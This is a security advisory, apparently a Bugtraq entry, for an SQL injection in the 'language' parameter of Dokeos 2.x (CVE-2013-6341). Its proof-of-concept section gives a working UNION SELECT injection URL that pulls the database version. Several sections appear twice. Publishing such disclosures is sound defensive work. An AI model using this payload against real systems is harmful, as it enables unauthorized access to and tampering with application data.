Dokeos 'language' Parameter SQL Injection Vulnerability
BID:63461
Info
Dokeos 'language' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 63461 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-6341 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 30 2013 12:00AM |
| Updated: | Nov 28 2013 12:15AM |
| Credit: | High-Tech Bridge |
| Vulnerable: |
Dokeos Dokeos 2.0 |
| Not Vulnerable: | |
Discussion
Dokeos 'language' Parameter SQL Injection Vulnerability
Dokeos is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Dokeos 2.2 RC2 and prior versions are vulnerable.
Dokeos is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Dokeos 2.2 RC2 and prior versions are vulnerable.
Exploit / POC
Dokeos 'language' Parameter SQL Injection Vulnerability
An attacker can exploit this issue using a web browser.
The following example URI is available:
http://www.example.com/index.php?language=0%27%20UNION%20SELECT%201,2,3,4,version%28%29,6,7,8%20--%202
An attacker can exploit this issue using a web browser.
The following example URI is available:
http://www.example.com/index.php?language=0%27%20UNION%20SELECT%201,2,3,4,version%28%29,6,7,8%20--%202
Solution / Fix
Dokeos 'language' Parameter SQL Injection Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].